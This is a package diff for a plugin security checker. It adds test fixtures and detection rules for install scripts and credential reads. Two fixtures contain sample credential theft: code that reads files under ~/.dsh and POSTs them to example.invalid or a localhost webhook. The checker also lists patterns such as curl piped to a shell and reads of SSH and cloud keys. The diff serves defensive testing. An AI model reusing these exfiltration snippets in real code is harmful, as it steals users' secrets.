dsh-standards 1.6.0 → 1.6.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/40-checker/fixtures/security/sec15-install-cred/index.mjs +7 -0
- package/40-checker/fixtures/security/sec15-install-cred/install.js +8 -0
- package/40-checker/fixtures/security/sec15-install-cred/package.json +22 -0
- package/40-checker/fixtures/security/sec15-install-curl/index.mjs +7 -0
- package/40-checker/fixtures/security/sec15-install-curl/package.json +22 -0
- package/40-checker/fixtures/security/sec15-install-curl/scripts/install.sh +4 -0
- package/40-checker/fixtures/security/sec15-install-danger/index.mjs +7 -0
- package/40-checker/fixtures/security/sec15-install-danger/install.js +5 -0
- package/40-checker/fixtures/security/sec15-install-danger/package.json +22 -0
- package/40-checker/fixtures/security/sec15-install-safe/index.mjs +7 -0
- package/40-checker/fixtures/security/sec15-install-safe/install.js +5 -0
- package/40-checker/fixtures/security/sec15-install-safe/package.json +22 -0
- package/40-checker/fixtures/security/sec17-cred-exfil/index.mjs +22 -0
- package/40-checker/fixtures/security/sec17-cred-exfil/package.json +19 -0
- package/40-checker/src/security.mjs +320 -32
- package/CHANGELOG.md +11 -0
- package/package.json +1 -1
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
// Reads a credential file during install and posts it. Static fixture: the
|
|
2
|
+
// checker only reads this file, it is never executed.
|
|
3
|
+
import { readFileSync } from 'node:fs'
|
|
4
|
+
import { homedir } from 'node:os'
|
|
5
|
+
import path from 'node:path'
|
|
6
|
+
|
|
7
|
+
const body = readFileSync(path.join(homedir(), '.dsh', 'credentials.yaml'), 'utf8')
|
|
8
|
+
await fetch('https://example.invalid/collect', { method: 'POST', body })
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@dsh-fixtures/sec15-install-cred",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"license": "MIT",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "./index.mjs",
|
|
7
|
+
"exports": {
|
|
8
|
+
".": "./index.mjs"
|
|
9
|
+
},
|
|
10
|
+
"engines": {
|
|
11
|
+
"dsh": ">=0.2.2-alpha.2 <0.3.0"
|
|
12
|
+
},
|
|
13
|
+
"dsh": {
|
|
14
|
+
"manifestVersion": 1,
|
|
15
|
+
"kind": "plugin",
|
|
16
|
+
"capabilities": [],
|
|
17
|
+
"labels": []
|
|
18
|
+
},
|
|
19
|
+
"scripts": {
|
|
20
|
+
"install": "node install.js"
|
|
21
|
+
}
|
|
22
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@dsh-fixtures/sec15-install-curl",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"license": "MIT",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "./index.mjs",
|
|
7
|
+
"exports": {
|
|
8
|
+
".": "./index.mjs"
|
|
9
|
+
},
|
|
10
|
+
"engines": {
|
|
11
|
+
"dsh": ">=0.2.2-alpha.2 <0.3.0"
|
|
12
|
+
},
|
|
13
|
+
"dsh": {
|
|
14
|
+
"manifestVersion": 1,
|
|
15
|
+
"kind": "plugin",
|
|
16
|
+
"capabilities": [],
|
|
17
|
+
"labels": []
|
|
18
|
+
},
|
|
19
|
+
"scripts": {
|
|
20
|
+
"postinstall": "sh scripts/install.sh"
|
|
21
|
+
}
|
|
22
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@dsh-fixtures/sec15-install-danger",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"license": "MIT",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "./index.mjs",
|
|
7
|
+
"exports": {
|
|
8
|
+
".": "./index.mjs"
|
|
9
|
+
},
|
|
10
|
+
"engines": {
|
|
11
|
+
"dsh": ">=0.2.2-alpha.2 <0.3.0"
|
|
12
|
+
},
|
|
13
|
+
"dsh": {
|
|
14
|
+
"manifestVersion": 1,
|
|
15
|
+
"kind": "plugin",
|
|
16
|
+
"capabilities": [],
|
|
17
|
+
"labels": []
|
|
18
|
+
},
|
|
19
|
+
"scripts": {
|
|
20
|
+
"postinstall": "node install.js"
|
|
21
|
+
}
|
|
22
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@dsh-fixtures/sec15-install-safe",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"license": "MIT",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "./index.mjs",
|
|
7
|
+
"exports": {
|
|
8
|
+
".": "./index.mjs"
|
|
9
|
+
},
|
|
10
|
+
"engines": {
|
|
11
|
+
"dsh": ">=0.2.2-alpha.2 <0.3.0"
|
|
12
|
+
},
|
|
13
|
+
"dsh": {
|
|
14
|
+
"manifestVersion": 1,
|
|
15
|
+
"kind": "plugin",
|
|
16
|
+
"capabilities": [],
|
|
17
|
+
"labels": []
|
|
18
|
+
},
|
|
19
|
+
"scripts": {
|
|
20
|
+
"postinstall": "node install.js"
|
|
21
|
+
}
|
|
22
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
// Credential enumeration under ~/.dsh followed by an outbound POST. The
|
|
2
|
+
// checker must FAIL this; the fixture is static and nothing is executed.
|
|
3
|
+
import fs from 'node:fs'
|
|
4
|
+
import os from 'node:os'
|
|
5
|
+
import path from 'node:path'
|
|
6
|
+
|
|
7
|
+
const dir = path.join(os.homedir(), '.dsh')
|
|
8
|
+
try {
|
|
9
|
+
for (const f of fs.readdirSync(dir)) {
|
|
10
|
+
if (!/^\.?credentials/.test(f)) continue
|
|
11
|
+
const body = fs.readFileSync(path.join(dir, f), 'utf8')
|
|
12
|
+
await fetch('http://127.0.0.1:38921/webhook', { method: 'POST', body })
|
|
13
|
+
}
|
|
14
|
+
} catch { /* keep the module importable */ }
|
|
15
|
+
|
|
16
|
+
export const name = 'sec17-cred-exfil'
|
|
17
|
+
export const provide = ['sec17cred']
|
|
18
|
+
|
|
19
|
+
export function apply(ctx) {
|
|
20
|
+
ctx.provide('sec17cred', { ok: true })
|
|
21
|
+
ctx.effect(() => () => {}, 'sec17.cred.effect')
|
|
22
|
+
}
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@dsh-fixtures/sec17-cred-exfil",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"license": "MIT",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "./index.mjs",
|
|
7
|
+
"exports": {
|
|
8
|
+
".": "./index.mjs"
|
|
9
|
+
},
|
|
10
|
+
"engines": {
|
|
11
|
+
"dsh": ">=0.2.2-alpha.2 <0.3.0"
|
|
12
|
+
},
|
|
13
|
+
"dsh": {
|
|
14
|
+
"manifestVersion": 1,
|
|
15
|
+
"kind": "plugin",
|
|
16
|
+
"capabilities": [],
|
|
17
|
+
"labels": []
|
|
18
|
+
}
|
|
19
|
+
}
|
|
@@ -258,21 +258,91 @@ function analyseClosure(sources, entryRelative) {
|
|
|
258
258
|
// DSC-15: install lifecycle scripts
|
|
259
259
|
// ---------------------------------------------------------------------------
|
|
260
260
|
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
}
|
|
270
|
-
|
|
261
|
+
const SCRIPT_FILE_EXTENSION = /\.(?:[cm]?[jt]s|sh|bash|zsh|ps1)$/i
|
|
262
|
+
const SCRIPT_INSPECT_MAX_BYTES = 512 * 1024
|
|
263
|
+
const SCRIPT_DANGER_RULES = [
|
|
264
|
+
{ pattern: /\b(?:curl|wget)\b[^\n|]*\|\s*(?:sudo\s+)?(?:sh|bash|zsh|dash|ksh|fish)\b/, label: 'remote script piped to a shell' },
|
|
265
|
+
{ pattern: /\bbase64\s+(?:-d|--decode)\b|\bbase64\s+-D\b/, label: 'base64 decode' },
|
|
266
|
+
{ pattern: /\beval\b\s*\)?\s*\(|\bnew\s+Function\s*\(|\bvm\.(?:runIn\w+|compileFunction)\s*\(/, label: 'eval/Function of a string' },
|
|
267
|
+
{ pattern: /\bnode\s+(?:-e|--eval)\b|\b(?:sh|bash|zsh|dash|ksh)\s+-[a-z]*c\b/, label: 'inline code passed to an interpreter' },
|
|
268
|
+
{ pattern: /\bpowershell(?:\.exe)?\b[^\n]*(?:-enc|-encodedcommand)\b/i, label: 'powershell encoded command' },
|
|
269
|
+
{ pattern: /(?:readFile(?:Sync)?|createReadStream|open(?:Sync)?)\s*\([^\n]{0,200}(?:\.ssh|\.dsh|credential|id_rsa|id_ed25519|\.aws|\.npmrc|\.netrc|tokens?)/i, label: 'reads a credential-like path' },
|
|
270
|
+
{ pattern: /\b(?:cat|cp|scp|tar|zip)\b[^\n]{0,160}(?:\.ssh\/|\.dsh\/|credentials|id_rsa|\.aws\/|\.npmrc|\.netrc)/i, label: 'collects credential-like files' },
|
|
271
|
+
{ pattern: /(?:os\.homedir\(\)|process\.env\.(?:HOME|USERPROFILE|DSH_HOME))[^\n]{0,160}(?:\.dsh|\.ssh|credential|tokens?|id_rsa)/i, label: 'combines the home directory with a secret path' },
|
|
272
|
+
]
|
|
273
|
+
const SCRIPT_NETWORK = /\b(?:fetch|axios\.(?:get|post)|https?\.(?:get|request))\s*\(|\bcurl\b|\bwget\b/
|
|
274
|
+
const SCRIPT_EXECUTE = /\beval\b|\bnew\s+Function\b|\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(|\bvm\.(?:runIn\w+|compileFunction)/
|
|
275
|
+
const SCRIPT_CHILD_DYNAMIC = [
|
|
276
|
+
/\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*`[^`]*\$\{/,
|
|
277
|
+
/\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*[A-Za-z_$][\w$]*\s*[,)]/,
|
|
278
|
+
]
|
|
279
|
+
|
|
280
|
+
function scriptDangerLabels(text) {
|
|
281
|
+
const labels = []
|
|
282
|
+
const add = (label) => { if (!labels.includes(label)) labels.push(label) }
|
|
283
|
+
for (const rule of SCRIPT_DANGER_RULES) if (rule.pattern.test(text)) add(rule.label)
|
|
284
|
+
if (SCRIPT_NETWORK.test(text) && SCRIPT_EXECUTE.test(text)) add('downloads remote content and executes it')
|
|
285
|
+
if (/\bchild_process\b/.test(text) && SCRIPT_CHILD_DYNAMIC.some(pattern => pattern.test(text))) {
|
|
286
|
+
add('child_process with a dynamic command')
|
|
287
|
+
}
|
|
288
|
+
return labels
|
|
289
|
+
}
|
|
290
|
+
|
|
291
|
+
/** Local script paths referenced by one lifecycle command (node/sh/tsx/direct). */
|
|
292
|
+
function commandScriptReferences(command) {
|
|
293
|
+
const references = []
|
|
294
|
+
const add = (value) => {
|
|
295
|
+
if (!value || value.startsWith('-')) return
|
|
296
|
+
if (value.includes('://')) return
|
|
297
|
+
if (!SCRIPT_FILE_EXTENSION.test(value)) return
|
|
298
|
+
if (!references.includes(value)) references.push(value)
|
|
299
|
+
}
|
|
300
|
+
for (const match of command.matchAll(/\bnode\s+(?!-e\b|--eval\b)(?:(?:--?[\w-]+(?:=[^\s]+)?)\s+)*([^\s;&|()]+)/g)) add(match[1])
|
|
301
|
+
for (const match of command.matchAll(/\b(?:sh|bash|zsh|dash|ksh|fish)\s+(?!-[a-z]*c\b)([^\s;&|()]+)/g)) add(match[1])
|
|
302
|
+
for (const match of command.matchAll(/(?:^|[;&|]\s*|\b(?:then|do|else)\s+)((?:\.{1,2}\/)?[\w@./-]+\.(?:[cm]?[jt]s|sh|ps1))/g)) add(match[1])
|
|
303
|
+
return references
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
/** Follow `npm run x` one level so `postinstall: npm run setup` is inspectable. */
|
|
307
|
+
function collectScriptFacts(command, dir, scripts, depth = 0, seen = new Set(), acc = null) {
|
|
308
|
+
const facts = acc ?? { references: [], missing: [] }
|
|
309
|
+
for (const reference of commandScriptReferences(command)) {
|
|
310
|
+
if (!facts.references.includes(reference)) facts.references.push(reference)
|
|
311
|
+
}
|
|
271
312
|
for (const match of command.matchAll(/\b(?:npm|pnpm|yarn)\s+run\s+([\w:.@-]+)/g)) {
|
|
272
|
-
|
|
313
|
+
const name = match[1]
|
|
314
|
+
if (!Object.hasOwn(scripts, name)) {
|
|
315
|
+
if (!facts.missing.includes(`npm run ${name}`)) facts.missing.push(`npm run ${name}`)
|
|
316
|
+
continue
|
|
317
|
+
}
|
|
318
|
+
if (depth >= 2 || seen.has(name)) continue
|
|
319
|
+
seen.add(name)
|
|
320
|
+
collectScriptFacts(String(scripts[name] ?? ''), dir, scripts, depth + 1, seen, facts)
|
|
273
321
|
}
|
|
274
|
-
|
|
275
|
-
|
|
322
|
+
return facts
|
|
323
|
+
}
|
|
324
|
+
|
|
325
|
+
/**
|
|
326
|
+
* Read a referenced local script and look for install-time danger. The file is
|
|
327
|
+
* never executed; only text is inspected and the walk is bounded to the
|
|
328
|
+
* package directory so a lifecycle command cannot make the checker read an
|
|
329
|
+
* arbitrary host file.
|
|
330
|
+
*/
|
|
331
|
+
function inspectInstallScript(reference, dir) {
|
|
332
|
+
const root = path.resolve(dir)
|
|
333
|
+
const absolute = path.resolve(root, reference)
|
|
334
|
+
if (absolute !== root && !absolute.startsWith(root + path.sep)) {
|
|
335
|
+
return { reference, skipped: 'outside the package tree' }
|
|
336
|
+
}
|
|
337
|
+
let stats
|
|
338
|
+
try { stats = fs.lstatSync(absolute) } catch { return { reference, missing: true } }
|
|
339
|
+
if (stats.isSymbolicLink()) return { reference, skipped: 'symlink not followed' }
|
|
340
|
+
if (!stats.isFile()) return { reference, missing: true }
|
|
341
|
+
if (stats.size > SCRIPT_INSPECT_MAX_BYTES) return { reference, skipped: `larger than ${SCRIPT_INSPECT_MAX_BYTES} bytes` }
|
|
342
|
+
let text
|
|
343
|
+
try { text = fs.readFileSync(absolute, 'utf8') } catch { return { reference, skipped: 'unreadable' } }
|
|
344
|
+
if (text.includes('\0')) return { reference, skipped: 'binary content' }
|
|
345
|
+
return { reference, labels: scriptDangerLabels(text) }
|
|
276
346
|
}
|
|
277
347
|
|
|
278
348
|
export function checkLifecycleScripts(manifest, dir) {
|
|
@@ -286,7 +356,16 @@ export function checkLifecycleScripts(manifest, dir) {
|
|
|
286
356
|
present += 1
|
|
287
357
|
const evidence = [`package.json#scripts.${name}`]
|
|
288
358
|
const dangerous = DANGEROUS_SCRIPT.filter(rule => rule.pattern.test(command)).map(rule => rule.label)
|
|
289
|
-
const
|
|
359
|
+
const facts = dir ? collectScriptFacts(command, dir, scripts) : { references: [], missing: [] }
|
|
360
|
+
const missing = [...new Set(facts.missing)]
|
|
361
|
+
const contentFindings = []
|
|
362
|
+
const skipped = []
|
|
363
|
+
for (const reference of facts.references) {
|
|
364
|
+
const inspected = inspectInstallScript(reference, dir)
|
|
365
|
+
if (inspected.missing) missing.push(reference)
|
|
366
|
+
else if (inspected.skipped) skipped.push(`${reference}: ${inspected.skipped}`)
|
|
367
|
+
else if (inspected.labels.length > 0) contentFindings.push(`${reference}: ${inspected.labels.join(', ')}`)
|
|
368
|
+
}
|
|
290
369
|
if (name === 'prepare' && dangerous.length > 0) {
|
|
291
370
|
details.push(detail('C-15.1', 'WARN', `scripts.prepare uses a dangerous form (${dangerous.join('; ')}); prepare is allowBuilds-gated, so this is WARN not FAIL`, evidence))
|
|
292
371
|
findings.push('warn')
|
|
@@ -297,10 +376,20 @@ export function checkLifecycleScripts(manifest, dir) {
|
|
|
297
376
|
// `prepare` also runs for git/source installs, which pnpm gates behind
|
|
298
377
|
// allowBuilds; a missing prepare target is therefore WARN, not FAIL.
|
|
299
378
|
const level = name === 'prepare' ? 'WARN' : 'FAIL'
|
|
300
|
-
details.push(detail('C-15.3', level,
|
|
379
|
+
details.push(detail('C-15.3', level, `scripts.${name} references missing script(s): ${missing.join(', ')}${name === 'prepare' ? ' (prepare is allowBuilds-gated)' : ''}`, evidence))
|
|
301
380
|
findings.push(level === 'WARN' ? 'warn' : 'fail')
|
|
381
|
+
} else if (contentFindings.length > 0) {
|
|
382
|
+
const level = name === 'prepare' ? 'WARN' : 'FAIL'
|
|
383
|
+
details.push(detail('C-15.1', level, `referenced install script is dangerous: ${contentFindings.join('; ')}${name === 'prepare' ? ' (prepare is allowBuilds-gated)' : ''}`, evidence))
|
|
384
|
+
findings.push(level === 'WARN' ? 'warn' : 'fail')
|
|
385
|
+
} else if (skipped.length > 0) {
|
|
386
|
+
details.push(detail('C-15.2', 'WARN', `referenced install script was not inspected: ${skipped.join('; ')}`, evidence))
|
|
387
|
+
findings.push('warn')
|
|
302
388
|
} else {
|
|
303
389
|
details.push(detail('C-15.2', 'WARN', `lifecycle script scripts.${name} is present; install-time commands are not executed by the checker`, evidence))
|
|
390
|
+
if (facts.references.length > 0) {
|
|
391
|
+
details.push(detail('C-15.2', 'PASS', `inspected referenced script(s): ${facts.references.join(', ')}; no dangerous pattern found`))
|
|
392
|
+
}
|
|
304
393
|
findings.push('warn')
|
|
305
394
|
}
|
|
306
395
|
}
|
|
@@ -474,6 +563,151 @@ function classifySecretPath(value) {
|
|
|
474
563
|
return null
|
|
475
564
|
}
|
|
476
565
|
|
|
566
|
+
const HOME_ENV_NAMES = new Set(['HOME', 'USERPROFILE', 'DSH_HOME', 'XDG_CONFIG_HOME'])
|
|
567
|
+
const SECRET_STRONG = /(?:^|[^a-z0-9])(?:\.ssh|id_rsa|id_ed25519|credentials?(?![a-z0-9])|tokens?(?![a-z0-9-]))(?:[^a-z0-9]|$)/i
|
|
568
|
+
const SECRET_WEAK = /(?:^|[^a-z0-9])\.dsh(?:[^a-z0-9]|$)/i
|
|
569
|
+
const FUNCTION_SCOPE_NODES = new Set([
|
|
570
|
+
'FunctionDeclaration', 'FunctionExpression', 'ArrowFunctionExpression',
|
|
571
|
+
'ObjectMethod', 'ClassMethod', 'ClassPrivateMethod', 'Program',
|
|
572
|
+
])
|
|
573
|
+
const FUNCTION_LIKE_NODES = new Set([...FUNCTION_SCOPE_NODES].filter(type => type !== 'Program'))
|
|
574
|
+
const PATH_LIKE_NAME = /(?:path|file|dir|folder|config|secret|cred|token|home)/i
|
|
575
|
+
|
|
576
|
+
function secretStrengthOfText(text) {
|
|
577
|
+
if (typeof text !== 'string' || text === '') return null
|
|
578
|
+
if (SECRET_STRONG.test(text)) return 'strong'
|
|
579
|
+
if (SECRET_WEAK.test(text)) return 'weak'
|
|
580
|
+
return null
|
|
581
|
+
}
|
|
582
|
+
|
|
583
|
+
function strongerSecret(left, right) {
|
|
584
|
+
if (left === 'strong' || right === 'strong') return 'strong'
|
|
585
|
+
return left ?? right ?? null
|
|
586
|
+
}
|
|
587
|
+
|
|
588
|
+
/** Literal text, template text or regex pattern; comments never reach the AST. */
|
|
589
|
+
function literalPathText(node) {
|
|
590
|
+
if (!node) return null
|
|
591
|
+
if (node.type === 'Literal') {
|
|
592
|
+
if (node.regex && typeof node.regex.pattern === 'string') return node.regex.pattern
|
|
593
|
+
if (typeof node.value === 'string') return node.value
|
|
594
|
+
}
|
|
595
|
+
if (node.type === 'TemplateElement' && node.value) {
|
|
596
|
+
return typeof node.value.cooked === 'string' ? node.value.cooked : (typeof node.value.raw === 'string' ? node.value.raw : null)
|
|
597
|
+
}
|
|
598
|
+
return null
|
|
599
|
+
}
|
|
600
|
+
|
|
601
|
+
/**
|
|
602
|
+
* Only path-like literals count. A sentence such as "invalid credentials" is
|
|
603
|
+
* not a clue; `'.dsh'`, `'~/.ssh/id_rsa'`, `'credentials.json'` and a regex like
|
|
604
|
+
* `/^\.?credentials/` are.
|
|
605
|
+
*/
|
|
606
|
+
function isPathLikeSecretLiteral(node, text) {
|
|
607
|
+
const strength = secretStrengthOfText(text)
|
|
608
|
+
if (!strength) return null
|
|
609
|
+
if (node.type === 'Literal' && node.regex) return strength
|
|
610
|
+
const trimmed = String(text).trim()
|
|
611
|
+
if (trimmed === '') return null
|
|
612
|
+
if (trimmed.startsWith('.') || /[\\/]/.test(trimmed)) return strength
|
|
613
|
+
if (/^(?:credentials?|tokens?|id_rsa|id_ed25519|\.dsh|\.ssh)$/i.test(trimmed)) return strength
|
|
614
|
+
if (/^[\w@.-]*(?:credentials?|tokens?|id_rsa|id_ed25519)[\w@.-]*\.(?:json|ya?ml|txt|pem|key|env|ini|conf)$/i.test(trimmed)) return strength
|
|
615
|
+
return null
|
|
616
|
+
}
|
|
617
|
+
|
|
618
|
+
/** Follow the argument through local assignments for a secret-path clue. */
|
|
619
|
+
function containsSecretSource(node, bindings, depth = 0, seen = new Set()) {
|
|
620
|
+
if (!node || depth > 4 || seen.has(node)) return null
|
|
621
|
+
const text = literalPathText(node)
|
|
622
|
+
if (text !== null) {
|
|
623
|
+
const strength = isPathLikeSecretLiteral(node, text)
|
|
624
|
+
if (strength) return strength
|
|
625
|
+
}
|
|
626
|
+
if (node.type === 'Identifier') {
|
|
627
|
+
const init = bindings.get(node.name)
|
|
628
|
+
if (!init || FUNCTION_LIKE_NODES.has(init.type)) return null
|
|
629
|
+
return containsSecretSource(init, bindings, depth + 1, new Set(seen).add(node))
|
|
630
|
+
}
|
|
631
|
+
let best = null
|
|
632
|
+
for (const key of Object.keys(node)) {
|
|
633
|
+
if (key === 'loc') continue
|
|
634
|
+
const value = node[key]
|
|
635
|
+
const children = Array.isArray(value) ? value : [value]
|
|
636
|
+
for (const child of children) {
|
|
637
|
+
if (!child || typeof child.type !== 'string' || FUNCTION_LIKE_NODES.has(child.type)) continue
|
|
638
|
+
const found = containsSecretSource(child, bindings, depth + 1, new Set(seen).add(node))
|
|
639
|
+
if (found === 'strong') return 'strong'
|
|
640
|
+
if (found === 'weak') best = 'weak'
|
|
641
|
+
}
|
|
642
|
+
}
|
|
643
|
+
return best
|
|
644
|
+
}
|
|
645
|
+
|
|
646
|
+
/** Home markers: os.homedir(), process.env.HOME/USERPROFILE/DSH_HOME/XDG_CONFIG_HOME. */
|
|
647
|
+
function containsHomeSource(node, bindings, depth = 0, seen = new Set()) {
|
|
648
|
+
if (!node || depth > 4 || seen.has(node)) return false
|
|
649
|
+
if (node.type === 'CallExpression') {
|
|
650
|
+
const names = chainNames(node.callee)
|
|
651
|
+
if (names[names.length - 1] === 'homedir') return true
|
|
652
|
+
}
|
|
653
|
+
if (node.type === 'MemberExpression') {
|
|
654
|
+
const property = memberPropertyName(node)
|
|
655
|
+
const object = node.object
|
|
656
|
+
if (property && HOME_ENV_NAMES.has(property) && object?.type === 'MemberExpression'
|
|
657
|
+
&& identifierName(object.object) === 'process' && memberPropertyName(object) === 'env') return true
|
|
658
|
+
}
|
|
659
|
+
if (node.type === 'Identifier') {
|
|
660
|
+
if (HOME_ENV_NAMES.has(node.name)) return true
|
|
661
|
+
const init = bindings.get(node.name)
|
|
662
|
+
if (!init || FUNCTION_LIKE_NODES.has(init.type)) return false
|
|
663
|
+
return containsHomeSource(init, bindings, depth + 1, new Set(seen).add(node))
|
|
664
|
+
}
|
|
665
|
+
for (const key of Object.keys(node)) {
|
|
666
|
+
if (key === 'loc') continue
|
|
667
|
+
const value = node[key]
|
|
668
|
+
const children = Array.isArray(value) ? value : [value]
|
|
669
|
+
for (const child of children) {
|
|
670
|
+
if (!child || typeof child.type !== 'string' || FUNCTION_LIKE_NODES.has(child.type)) continue
|
|
671
|
+
if (containsHomeSource(child, bindings, depth + 1, new Set(seen).add(node))) return true
|
|
672
|
+
}
|
|
673
|
+
}
|
|
674
|
+
return false
|
|
675
|
+
}
|
|
676
|
+
|
|
677
|
+
/** A variable argument whose name suggests a path, e.g. configPath or secretFile. */
|
|
678
|
+
function argumentLooksPathLike(node) {
|
|
679
|
+
let found = false
|
|
680
|
+
walkAst(node, (child) => {
|
|
681
|
+
if (found) return
|
|
682
|
+
if (child.type === 'Identifier' && PATH_LIKE_NAME.test(child.name)) found = true
|
|
683
|
+
if (child.type === 'MemberExpression') {
|
|
684
|
+
const property = memberPropertyName(child)
|
|
685
|
+
if (property && PATH_LIKE_NAME.test(property)) found = true
|
|
686
|
+
}
|
|
687
|
+
})
|
|
688
|
+
return found
|
|
689
|
+
}
|
|
690
|
+
|
|
691
|
+
function isDshDirectoryPath(value) {
|
|
692
|
+
const normalized = String(value).replace(/\\/g, '/').replace(/\/+$/, '').toLowerCase()
|
|
693
|
+
return /(?:^|\/)\.dsh$/.test(normalized)
|
|
694
|
+
}
|
|
695
|
+
|
|
696
|
+
function securityScopeOf(ancestors, root) {
|
|
697
|
+
for (let index = ancestors.length - 1; index >= 0; index -= 1) {
|
|
698
|
+
if (FUNCTION_SCOPE_NODES.has(ancestors[index].type)) return ancestors[index]
|
|
699
|
+
}
|
|
700
|
+
return root
|
|
701
|
+
}
|
|
702
|
+
|
|
703
|
+
function isEgressCall(node) {
|
|
704
|
+
if (!node || node.type !== 'CallExpression') return false
|
|
705
|
+
const names = chainNames(node.callee)
|
|
706
|
+
const last = names[names.length - 1]
|
|
707
|
+
if (last === 'fetch') return true
|
|
708
|
+
return names.length >= 2 && ['http', 'https'].includes(names[0]) && ['get', 'request'].includes(last)
|
|
709
|
+
}
|
|
710
|
+
|
|
477
711
|
function isEnvEnumeration(node) {
|
|
478
712
|
return node.type === 'CallExpression'
|
|
479
713
|
&& node.callee.type === 'MemberExpression'
|
|
@@ -487,10 +721,7 @@ function isEnvEnumeration(node) {
|
|
|
487
721
|
function hasEgressCall(ast) {
|
|
488
722
|
let found = false
|
|
489
723
|
walkAst(ast, (node) => {
|
|
490
|
-
if (found
|
|
491
|
-
const names = chainNames(node.callee)
|
|
492
|
-
if (names[names.length - 1] === 'fetch') found = true
|
|
493
|
-
if (names.length >= 2 && ['http', 'https'].includes(names[0]) && ['get', 'request'].includes(names[names.length - 1])) found = true
|
|
724
|
+
if (!found && isEgressCall(node)) found = true
|
|
494
725
|
})
|
|
495
726
|
return found
|
|
496
727
|
}
|
|
@@ -512,28 +743,85 @@ export function checkSensitiveFileReads(manifest, sources) {
|
|
|
512
743
|
const parsed = parseModule(source)
|
|
513
744
|
if (parsed.error) { parseErrors += 1; continue }
|
|
514
745
|
let envEnumeration = false
|
|
515
|
-
|
|
516
|
-
|
|
746
|
+
const scopeFacts = new Map()
|
|
747
|
+
walkAst(parsed.ast, (node, ancestors) => {
|
|
748
|
+
const scope = securityScopeOf(ancestors, parsed.ast)
|
|
749
|
+
let facts = scopeFacts.get(scope)
|
|
750
|
+
if (!facts) {
|
|
751
|
+
facts = { secretLiteral: null, egress: false, reads: [] }
|
|
752
|
+
scopeFacts.set(scope, facts)
|
|
753
|
+
}
|
|
754
|
+
if (isEgressCall(node)) facts.egress = true
|
|
755
|
+
const literal = literalPathText(node)
|
|
756
|
+
if (literal !== null) {
|
|
757
|
+
const strength = isPathLikeSecretLiteral(node, literal)
|
|
758
|
+
if (strength) facts.secretLiteral = strongerSecret(facts.secretLiteral, strength)
|
|
759
|
+
}
|
|
517
760
|
if (isEnvEnumeration(node)) envEnumeration = true
|
|
761
|
+
if (node.type !== 'CallExpression' || node.arguments.length === 0) return
|
|
518
762
|
const api = node.callee.type === 'Identifier' ? node.callee.name : memberPropertyName(node.callee)
|
|
519
|
-
if (!READ_APIS.has(api)
|
|
520
|
-
const
|
|
521
|
-
|
|
522
|
-
|
|
523
|
-
|
|
524
|
-
|
|
525
|
-
|
|
526
|
-
|
|
763
|
+
if (!READ_APIS.has(api)) return
|
|
764
|
+
const argument = node.arguments[0]
|
|
765
|
+
facts.reads.push({
|
|
766
|
+
api,
|
|
767
|
+
line: lineOf(node),
|
|
768
|
+
value: stringFromNode(argument, parsed.bindings),
|
|
769
|
+
homeDerived: containsHomeSource(argument, parsed.bindings),
|
|
770
|
+
secretDerived: containsSecretSource(argument, parsed.bindings),
|
|
771
|
+
pathNamed: argumentLooksPathLike(argument),
|
|
772
|
+
})
|
|
527
773
|
})
|
|
774
|
+
for (const facts of scopeFacts.values()) {
|
|
775
|
+
for (const read of facts.reads) {
|
|
776
|
+
const where = `${source.relative}:${read.line}`
|
|
777
|
+
if (read.value !== null && read.value !== '') {
|
|
778
|
+
const classification = classifySecretPath(read.value)
|
|
779
|
+
if (classification === 'fail') {
|
|
780
|
+
failures.push({ file: source.relative, line: read.line, api: read.api, reason: `${read.api} reads a sensitive path at ${where}` })
|
|
781
|
+
continue
|
|
782
|
+
}
|
|
783
|
+
if (classification === 'warn') {
|
|
784
|
+
warnings.push({ file: source.relative, line: read.line, api: read.api, item: 'C-17.2', reason: `${read.api} reads a dotenv/environment surface at ${where}` })
|
|
785
|
+
continue
|
|
786
|
+
}
|
|
787
|
+
if (isDshDirectoryPath(read.value)) {
|
|
788
|
+
if (facts.egress && facts.secretLiteral) {
|
|
789
|
+
failures.push({ file: source.relative, line: read.line, api: read.api, reason: `${read.api} lists the DSH home directory while the same function handles credential-like names and network egress at ${where}` })
|
|
790
|
+
} else {
|
|
791
|
+
warnings.push({ file: source.relative, line: read.line, api: read.api, item: 'C-17.2', reason: `${read.api} lists the DSH home directory at ${where}` })
|
|
792
|
+
}
|
|
793
|
+
}
|
|
794
|
+
continue
|
|
795
|
+
}
|
|
796
|
+
// Variable argument: approximate taint using the argument's assignment
|
|
797
|
+
// chain, a sibling credential-like literal, and network egress.
|
|
798
|
+
if (!read.homeDerived && !read.secretDerived) {
|
|
799
|
+
// A sibling literal alone is weak: only a path-named variable plus a
|
|
800
|
+
// credential literal (and egress for FAIL) is actionable.
|
|
801
|
+
if (!facts.secretLiteral || !read.pathNamed) continue
|
|
802
|
+
if (facts.egress && facts.secretLiteral === 'strong') {
|
